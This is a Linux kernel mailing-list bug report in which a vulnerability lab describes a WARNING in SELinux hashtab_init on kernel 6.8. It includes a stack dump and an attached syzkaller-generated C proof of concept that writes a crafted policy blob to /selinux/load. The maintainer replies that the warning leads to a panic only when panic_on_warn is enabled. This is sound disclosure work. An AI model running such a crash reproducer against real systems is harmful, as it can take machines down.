WARNING in hashtab_init

WARNING in hashtab_init

[Ubisectech Sirius]

[-- Attachment #1: Type: text/plain, Size: 3102 bytes --]


Hello.
We are Ubisectech Sirius Team, the vulnerability lab of China ValiantSec. Recently, our team has discovered a issue in Linux kernel 6.8. Attached to the email were a PoC file of the issue.

Stack dump:
------------[ cut here ]------------
WARNING: CPU: 0 PID: 10493 at mm/page_alloc.c:4545 __alloc_pages+0x402/0x21b0 mm/page_alloc.c:4545
Modules linked in:
CPU: 0 PID: 10493 Comm: syz.3.141 Not tainted 6.8.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:__alloc_pages+0x402/0x21b0 mm/page_alloc.c:4545
Code: ff 00 0f 84 15 fe ff ff 80 ce 01 e9 0d fe ff ff 83 fe 0a 0f 86 0e fd ff ff 80 3d c7 cf 6a 0d 00 75 0b c6 05 be cf 6a 0d 01 90 <0f> 0b 90 45 31 e4 e9 87 fe ff ff e8 5e 3e 9b ff 84 c0 0f 85 7a fe
RSP: 0018:ffffc90001b37428 EFLAGS: 00010246
RAX: 0000000000000000 RBX: 0000000000000000 RCX: 1ffff92000366e98
RDX: 0000000000000000 RSI: 0000000000000016 RDI: 0000000000040dc0
RBP: ffffc90001b376d8 R08: 0000000000000005 R09: 0000000000000000
R10: 0000000080000000 R11: 656c6c616b7a7973 R12: 0000000400000000
R13: 0000000000000016 R14: 0000000000040dc0 R15: 0000000000000016
FS:  00007f10c4184640(0000) GS:ffff88802c600000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f10c4163658 CR3: 000000001bb8e000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
Call Trace:
 <TASK>
 __alloc_pages_node include/linux/gfp.h:238 [inline]
 alloc_pages_node include/linux/gfp.h:261 [inline]
 __kmalloc_large_node+0x88/0x1a0 mm/slub.c:3926
 __do_kmalloc_node mm/slub.c:3969 [inline]
 __kmalloc+0x370/0x480 mm/slub.c:3994
 kmalloc_array include/linux/slab.h:627 [inline]
 kcalloc include/linux/slab.h:658 [inline]
 hashtab_init+0x10a/0x270 security/selinux/ss/hashtab.c:42
 class_read+0x1e4/0xa10 security/selinux/ss/policydb.c:1331
 policydb_read+0x9b6/0x3850 security/selinux/ss/policydb.c:2565
 security_load_policy+0x15d/0x12b0 security/selinux/ss/services.c:2269
 sel_write_load+0x313/0x1b60 security/selinux/selinuxfs.c:600
 vfs_write+0x2b2/0x1090 fs/read_write.c:588
 ksys_write+0x122/0x250 fs/read_write.c:643
 do_syscall_x64 arch/x86/entry/common.c:52 [inline]
 do_syscall_64+0xd5/0x270 arch/x86/entry/common.c:83
 entry_SYSCALL_64_after_hwframe+0x6f/0x77
RIP: 0033:0x7f10c33958cd
Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f10c4183fa8 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 00007f10c3534038 RCX: 00007f10c33958cd
RDX: 0000000000002000 RSI: 0000000020000000 RDI: 0000000000000005
RBP: 00007f10c341bb06 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 000000000000000b R14: 00007f10c3534038 R15: 00007f10c4164000
 </TASK>

Thank you for taking the time to read this email and we look forward to working with you further.

[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 9868 bytes --]

// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include <linux/capability.h>

static void sleep_ms(uint64_t ms)
{
  usleep(ms * 1000);
}

static uint64_t current_time_ms(void)
{
  struct timespec ts;
  if (clock_gettime(CLOCK_MONOTONIC, &ts))
    exit(1);
  return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

static bool write_file(const char* file, const char* what, ...)
{
  char buf[1024];
  va_list args;
  va_start(args, what);
  vsnprintf(buf, sizeof(buf), what, args);
  va_end(args);
  buf[sizeof(buf) - 1] = 0;
  int len = strlen(buf);
  int fd = open(file, O_WRONLY | O_CLOEXEC);
  if (fd == -1)
    return false;
  if (write(fd, buf, len) != len) {
    int err = errno;
    close(fd);
    errno = err;
    return false;
  }
  close(fd);
  return true;
}

#define MAX_FDS 30

static void sandbox_common_mount_tmpfs(void)
{
  write_file("/proc/sys/fs/mount-max", "100000");
  if (mkdir("./syz-tmp", 0777))
    exit(1);
  if (mount("", "./syz-tmp", "tmpfs", 0, NULL))
    exit(1);
  if (mkdir("./syz-tmp/newroot", 0777))
    exit(1);
  if (mkdir("./syz-tmp/newroot/dev", 0700))
    exit(1);
  unsigned bind_mount_flags = MS_BIND | MS_REC | MS_PRIVATE;
  if (mount("/dev", "./syz-tmp/newroot/dev", NULL, bind_mount_flags, NULL))
    exit(1);
  if (mkdir("./syz-tmp/newroot/proc", 0700))
    exit(1);
  if (mount("syz-proc", "./syz-tmp/newroot/proc", "proc", 0, NULL))
    exit(1);
  if (mkdir("./syz-tmp/newroot/selinux", 0700))
    exit(1);
  const char* selinux_path = "./syz-tmp/newroot/selinux";
  if (mount("/selinux", selinux_path, NULL, bind_mount_flags, NULL)) {
    if (errno != ENOENT)
      exit(1);
    if (mount("/sys/fs/selinux", selinux_path, NULL, bind_mount_flags, NULL) &&
        errno != ENOENT)
      exit(1);
  }
  if (mkdir("./syz-tmp/newroot/sys", 0700))
    exit(1);
  if (mount("/sys", "./syz-tmp/newroot/sys", 0, bind_mount_flags, NULL))
    exit(1);
  if (mkdir("./syz-tmp/pivot", 0777))
    exit(1);
  if (syscall(SYS_pivot_root, "./syz-tmp", "./syz-tmp/pivot")) {
    if (chdir("./syz-tmp"))
      exit(1);
  } else {
    if (chdir("/"))
      exit(1);
    if (umount2("./pivot", MNT_DETACH))
      exit(1);
  }
  if (chroot("./newroot"))
    exit(1);
  if (chdir("/"))
    exit(1);
}

static void setup_common()
{
  if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
  }
}

static void setup_binderfs()
{
  if (mkdir("/dev/binderfs", 0777)) {
  }
  if (mount("binder", "/dev/binderfs", "binder", 0, NULL)) {
  }
  if (symlink("/dev/binderfs", "./binderfs")) {
  }
}

static void loop();

static void sandbox_common()
{
  prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
  setsid();
  struct rlimit rlim;
  rlim.rlim_cur = rlim.rlim_max = (200 << 20);
  setrlimit(RLIMIT_AS, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 32 << 20;
  setrlimit(RLIMIT_MEMLOCK, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 136 << 20;
  setrlimit(RLIMIT_FSIZE, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 1 << 20;
  setrlimit(RLIMIT_STACK, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 128 << 20;
  setrlimit(RLIMIT_CORE, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 256;
  setrlimit(RLIMIT_NOFILE, &rlim);
  if (unshare(CLONE_NEWNS)) {
  }
  if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) {
  }
  if (unshare(CLONE_NEWIPC)) {
  }
  if (unshare(0x02000000)) {
  }
  if (unshare(CLONE_NEWUTS)) {
  }
  if (unshare(CLONE_SYSVSEM)) {
  }
  typedef struct {
    const char* name;
    const char* value;
  } sysctl_t;
  static const sysctl_t sysctls[] = {
      {"/proc/sys/kernel/shmmax", "16777216"},
      {"/proc/sys/kernel/shmall", "536870912"},
      {"/proc/sys/kernel/shmmni", "1024"},
      {"/proc/sys/kernel/msgmax", "8192"},
      {"/proc/sys/kernel/msgmni", "1024"},
      {"/proc/sys/kernel/msgmnb", "1024"},
      {"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
  };
  unsigned i;
  for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
    write_file(sysctls[i].name, sysctls[i].value);
}

static int wait_for_loop(int pid)
{
  if (pid < 0)
    exit(1);
  int status = 0;
  while (waitpid(-1, &status, __WALL) != pid) {
  }
  return WEXITSTATUS(status);
}

static void drop_caps(void)
{
  struct __user_cap_header_struct cap_hdr = {};
  struct __user_cap_data_struct cap_data[2] = {};
  cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
  cap_hdr.pid = getpid();
  if (syscall(SYS_capget, &cap_hdr, &cap_data))
    exit(1);
  const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
  cap_data[0].effective &= ~drop;
  cap_data[0].permitted &= ~drop;
  cap_data[0].inheritable &= ~drop;
  if (syscall(SYS_capset, &cap_hdr, &cap_data))
    exit(1);
}

static int do_sandbox_none(void)
{
  if (unshare(CLONE_NEWPID)) {
  }
  int pid = fork();
  if (pid != 0)
    return wait_for_loop(pid);
  setup_common();
  sandbox_common();
  drop_caps();
  if (unshare(CLONE_NEWNET)) {
  }
  write_file("/proc/sys/net/ipv4/ping_group_range", "0 65535");
  sandbox_common_mount_tmpfs();
  setup_binderfs();
  loop();
  exit(1);
}

static void kill_and_wait(int pid, int* status)
{
  kill(-pid, SIGKILL);
  kill(pid, SIGKILL);
  for (int i = 0; i < 100; i++) {
    if (waitpid(-1, status, WNOHANG | __WALL) == pid)
      return;
    usleep(1000);
  }
  DIR* dir = opendir("/sys/fs/fuse/connections");
  if (dir) {
    for (;;) {
      struct dirent* ent = readdir(dir);
      if (!ent)
        break;
      if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
        continue;
      char abort[300];
      snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
               ent->d_name);
      int fd = open(abort, O_WRONLY);
      if (fd == -1) {
        continue;
      }
      if (write(fd, abort, 1) < 0) {
      }
      close(fd);
    }
    closedir(dir);
  } else {
  }
  while (waitpid(-1, status, __WALL) != pid) {
  }
}

static void setup_test()
{
  prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
  setpgrp();
  write_file("/proc/self/oom_score_adj", "1000");
}

static void close_fds()
{
  for (int fd = 3; fd < MAX_FDS; fd++)
    close(fd);
}

static void execute_one(void);

#define WAIT_FLAGS __WALL

static void loop(void)
{
  int iter = 0;
  for (;; iter++) {
    int pid = fork();
    if (pid < 0)
      exit(1);
    if (pid == 0) {
      setup_test();
      execute_one();
      close_fds();
      exit(0);
    }
    int status = 0;
    uint64_t start = current_time_ms();
    for (;;) {
      sleep_ms(10);
      if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
        break;
      if (current_time_ms() - start < 5000)
        continue;
      kill_and_wait(pid, &status);
      break;
    }
  }
}

uint64_t r[1] = {0xffffffffffffffff};

void execute_one(void)
{
  intptr_t res = 0;
  if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
  }
  memcpy((void*)0x20000000, "/selinux/load\000", 14);
  res = syscall(__NR_openat, /*fd=*/0xffffffffffffff9cul, /*file=*/0x20000000ul,
                /*flags=*/2ul, /*mode=*/0ul);
  if (res != -1)
    r[0] = res;
  memcpy(
      (void*)0x20000380,
      "\x8c\xff\x7c\xf9\x08\x00\x00\x00\x53\x45\x20\x4c\x69\x6e\x75\x78\x16\x00"
      "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x07\x00\x00\x00\x40\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x99\xa3\x00\x61\xfa\x07\x11\x23\x13\xd6\xff"
      "\x7f\x0d\xbb\x63\xde\x43\x02\x9c\xde\x1d\x6d\xce\x0e\xa0\x86\x54\x58\xff"
      "\xa5\xda\x33\xf1\x09\x9a\x86\x77\x45\xaa\x29\x40\x2a\x20\x93\x63\xa0\xe0"
      "\xe4\xdf\x04\x28\x67\x68\xc1\x01\x30\x95\xd6\x24\xdc\x32\x00\xdd\xf4\xa9"
      "\xdc\x25\x5b\x9d\x27\xcd\x90\x9d\x1a\xe1\x3d\xa4\xb7\x83\xe8\xc4\x49\x24"
      "\x2e\xeb\x9f\x68\xa3\x0b\xdd\xca\x94\xeb\x1b\x43\x56\xd8\x58\xf0\x26\xce"
      "\x57\x69\xe0\xb6\xe8\x3e\x10\x66\xa6\xfa\x20\x09\x4f\x6f\xa7\x82\x7a\x3a"
      "\x35\x6a\x4b\xc8\xe0\x0e\xbd\xe3\xd0\xaf\xc4\x88\x60\x2a\x35\xc7\x41\xb5"
      "\xf0\x68\xb0\xdf\x84\x4a\xf7\x53\x04\xbb\x23\x07\x26\x29\xcb\x0c\xbe\x6f"
      "\xdf\xe6\xff\xa0\x69\xe1\x08\x80\xe9\xf6\x95\xe1\xaa\x3c\x5f\x4c\x9a\x18"
      "\x8c\xd2\xa5\x73\x2d\x61\x6c\x6d\x95\xb2\x0c\x5d\x68\xa4\x90\x9f\x78\x1f"
      "\x42\xc3\x49\x14\xf2\x11\x90\xa4\x1e\x7b\xc2\xb4\xe8\x64\xf4\x34\x89\x68"
      "\x5c\x5a\xcd\x1a\x74\xf4\xa3\x96\x82\x67\x66\xfb\x22\xe1\xf7\xe4\xa0\x88"
      "\x94\xbf\x8a\x77\x3c\xf0\xb5\x4a\x75\x36\xc1\x14\x24\x6e\xc7\x0b\xd0\xec"
      "\x33\x99\x5d\xb4\x15\xce\x21\xb1\x52\x54\xd2\xd2\x73\x02\xf3\x84\xcf\xec"
      "\xcd\x24\x83\x7c\x2d\xfe\xc7\x90\x53\x29\x91\xe4\x0d\x49\x79\x91\x69\x5a"
      "\xa9\x00\xa0\x3d\x07\x9a\xee\x32\xff\xc9\x2a\x6f\xa4\x6b\x94\xfd\xd0\xa4"
      "\x7c\xf7\x9b\x0b\xa6\xf7\x04\x94\xbe\xa5\x51\x92\x73",
      355);
  syscall(__NR_write, /*fd=*/r[0], /*buf=*/0x20000380ul, /*count=*/0x163ul);
}
int main(void)
{
  syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul,
          /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  const char* reason;
  (void)reason;
  do_sandbox_none();
  return 0;
}

Re: WARNING in hashtab_init

[Paul Moore]

On Sun, Jul 28, 2024 at 10:49 PM Ubisectech Sirius
<bugreport@valiantsec.com> wrote:
>
> Hello.
> We are Ubisectech Sirius Team, the vulnerability lab of China ValiantSec. Recently, our team has discovered a issue in Linux kernel 6.8. Attached to the email were a PoC file of the issue.
>
> Stack dump:
> ------------[ cut here ]------------
> WARNING: CPU: 0 PID: 10493 at mm/page_alloc.c:4545 __alloc_pages+0x402/0x21b0 mm/page_alloc.c:4545
> Modules linked in:
> CPU: 0 PID: 10493 Comm: syz.3.141 Not tainted 6.8.0 #1
> Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
> RIP: 0010:__alloc_pages+0x402/0x21b0 mm/page_alloc.c:4545
> Code: ff 00 0f 84 15 fe ff ff 80 ce 01 e9 0d fe ff ff 83 fe 0a 0f 86 0e fd ff ff 80 3d c7 cf 6a 0d 00 75 0b c6 05 be cf 6a 0d 01 90 <0f> 0b 90 45 31 e4 e9 87 fe ff ff e8 5e 3e 9b ff 84 c0 0f 85 7a fe
> RSP: 0018:ffffc90001b37428 EFLAGS: 00010246
> RAX: 0000000000000000 RBX: 0000000000000000 RCX: 1ffff92000366e98
> RDX: 0000000000000000 RSI: 0000000000000016 RDI: 0000000000040dc0
> RBP: ffffc90001b376d8 R08: 0000000000000005 R09: 0000000000000000
> R10: 0000000080000000 R11: 656c6c616b7a7973 R12: 0000000400000000
> R13: 0000000000000016 R14: 0000000000040dc0 R15: 0000000000000016
> FS:  00007f10c4184640(0000) GS:ffff88802c600000(0000) knlGS:0000000000000000
> CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> CR2: 00007f10c4163658 CR3: 000000001bb8e000 CR4: 0000000000750ef0
> DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
> DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
> PKRU: 55555554
> Call Trace:
>  <TASK>
>  __alloc_pages_node include/linux/gfp.h:238 [inline]
>  alloc_pages_node include/linux/gfp.h:261 [inline]
>  __kmalloc_large_node+0x88/0x1a0 mm/slub.c:3926
>  __do_kmalloc_node mm/slub.c:3969 [inline]
>  __kmalloc+0x370/0x480 mm/slub.c:3994
>  kmalloc_array include/linux/slab.h:627 [inline]
>  kcalloc include/linux/slab.h:658 [inline]
>  hashtab_init+0x10a/0x270 security/selinux/ss/hashtab.c:42
>  class_read+0x1e4/0xa10 security/selinux/ss/policydb.c:1331
>  policydb_read+0x9b6/0x3850 security/selinux/ss/policydb.c:2565
>  security_load_policy+0x15d/0x12b0 security/selinux/ss/services.c:2269
>  sel_write_load+0x313/0x1b60 security/selinux/selinuxfs.c:600
>  vfs_write+0x2b2/0x1090 fs/read_write.c:588
>  ksys_write+0x122/0x250 fs/read_write.c:643
>  do_syscall_x64 arch/x86/entry/common.c:52 [inline]
>  do_syscall_64+0xd5/0x270 arch/x86/entry/common.c:83
>  entry_SYSCALL_64_after_hwframe+0x6f/0x77
> RIP: 0033:0x7f10c33958cd
> Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48
> RSP: 002b:00007f10c4183fa8 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
> RAX: ffffffffffffffda RBX: 00007f10c3534038 RCX: 00007f10c33958cd
> RDX: 0000000000002000 RSI: 0000000020000000 RDI: 0000000000000005
> RBP: 00007f10c341bb06 R08: 0000000000000000 R09: 0000000000000000
> R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
> R13: 000000000000000b R14: 00007f10c3534038 R15: 00007f10c4164000
>  </TASK>
>
> Thank you for taking the time to read this email and we look forward to working with you further.

It looks like you've enabled panic_on_warn and the warning/panic above
is generated by __alloc_pages in response to loading a large and/or
bogus SELinux policy.  With panic_on_warn disabled, the policy load
should fail gracefully and the system should continue to run.  Have
you done any testing with panic_on_warn disabled and noticed any
unexpected behavior?

-- 
paul-moore.com